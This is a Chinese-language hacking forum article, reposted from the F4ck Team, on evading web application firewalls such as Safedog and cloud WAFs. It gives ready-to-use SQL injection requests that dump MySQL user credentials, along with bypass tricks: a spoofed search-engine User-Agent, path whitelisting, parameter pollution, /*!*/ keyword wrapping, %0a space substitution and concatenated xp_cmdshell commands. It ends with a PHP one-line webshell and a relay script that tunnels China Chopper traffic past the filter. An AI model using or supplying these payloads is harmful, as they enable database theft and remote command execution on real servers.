目前市場上的WAF主要有如下幾類php
1. 以安全狗爲表明的基於軟件WAFhtml
2. 百度加速樂、安全寶等部署在雲端的WAFmysql
3. 硬件WAFweb
WAF的檢測主要有三個階段,我畫了一張圖進行說明sql
本文主要總結的就是針對上面的三個階段的繞過策略。小菜一枚,歡迎拍磚。shell
WAF是有一個白名單的,在白名單內的客戶請求將不作檢測數據庫
早些版本的安全狗是有這個漏洞的,就是把User-Agent修改成搜索引擎,即可以繞過,進行sql注入等攻擊,論壇blacksplit大牛有一篇關於這個的文章,還有利用工具安全
Link http://sb.f4ck.org/forum.php?mod=viewthread&tid=11254服務器
這裏推薦一個谷歌插件,能夠修改User-Agent,叫User-Agent Switchercookie
360webscan腳本存在這個問題,就是判斷是否爲admin dede install等目錄,若是是則不作攔截
好比
<span style="font-size:14px;">GET /pen/news.php?id=1 union select user,password from mysql.user</span>
能夠改成
GET /pen/news.php/admin?id=1 union select user,password from mysql.user
或者
<span style="font-size:14px;">GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user</span>
詳細的見wooyun-2014-050576
Link http://paper.wooyun.org/bugs/wooyun-2014-050576
這個方法能夠用於安全寶、加速樂等雲WAF,雲WAF的原理經過DNS解析到雲WAF,訪問網站的流量要通過指定的DNS服務器解析,而後進入WAF節點進行過濾,最後訪問原始服務器,若是咱們能經過一些手段(好比c段、社工)找到原始的服務器地址,即可以繞過,這個我也沒有找到太好的例子,就很少作說明了。
最多見的方法之一,能夠進行urlencode
早期的方法,如今效果不是太好
我想玩滲透的都知道cookie中轉註入,最典型的修改請求方式繞過,不少的asp,aspx網站都存在這個問題,有時候WAF對GET進行了過濾,可是Cookie甚至POST參數卻沒有檢測。
還有就是參數污染,最近的一個典型例子就是wooyun社區給出的multipart請求繞過,在POST請求中添加一個上傳文件,繞過了絕大多數WAF。
詳情看http://zone.wooyun.org/content/11423
例如一個請求是這樣的
GET /pen/news.PHP?id=1 union select user,password from MySQL.user
能夠修改成
GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
不少WAF均可以這樣繞,測試最新版安全狗能繞過部分語句
WAF在這裏主要是針對一些特殊的關鍵詞或者用法進行檢測。繞過方法不少,也是最有效的。
用一些特殊字符代替空格,好比在mysql中%0a是換行,能夠代替空格,這個方法也能夠部分繞過最新版本的安全狗,在sqlserver中能夠用/**/代替空格
把特殊字符拼接起來繞過WAF的檢測,好比在Mysql中,能夠利用註釋/**/來繞過,在mssql中,函數裏面能夠用+來拼接
好比
<span style="font-size:14px;"> GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')</span>
能夠改成
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
在mysql中,能夠利用/*!*/包含關鍵詞進行繞過,在mysql中這個不是註釋,而是取消註釋的內容。測試最新版本的安全狗能夠完美繞過。
例如
GET /pen/news.php?id=1 union select user,password from mysql.user
能夠改成
<span style="font-size:14px;">GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user</span>
這方面文章不少,好比bystander在論壇發的這篇文章
http://sb.f4ck.org/forum.php?mod=viewthread&tid=7975
平時本身收集的一些方法,今天總結了一下,拋磚引玉,歡迎你們補充。==================================================================================================================================================================================================================================================================================================================
好吧,我以爲不少人是爲了過來看這個的。= =!
只能用於mysql數據庫。
其實文章裏已經寫了一種了 就是利用/*!*/包含關鍵詞進行繞過,不過這種方法要手工注入,懶人們確定不喜歡,附上一種工具繞過的方法
把空格替換成%0a/**/能夠繞過最新版本安全狗
在Pangolin中 點擊 編輯 配置 高級 選擇替換空格使用
填上%0a/**/便可
過狗的小馬我一直用這個
<span style="font-size:14px;"><?php $a=$_GET['a'];$a($_POST['cmd']);?></span>
這個 雖然不會被殺 可是菜刀鏈接會被攔截
我是用sunshine大牛的中轉方法繞過的。
詳情看http://zone.wooyun.org/content/10278
腳本:
<span style="font-size:14px;"><?php $webshell="http://192.168.204.2/pen/1.php?a=assert";//把這裏改爲你的shell地址 $webshell=$webshell."&1141056911=base64_decode"; $da=$_POST; $data = $da; @$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,並把base64_decode替換成$_GET[1141056911]( //print_r($data); $data = http_build_query($data); $opts = array ( 'http' => array ( 'method' => 'POST', 'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n", 'content' => $data) ); $context = stream_context_create($opts); $html = @file_get_contents($webshell, false, $context); //發送post echo $html; ?> </span>
轉自:http://sb.f4ck.org/thread-18258-1-1.html
Author:Sudo
Team:F4ck Team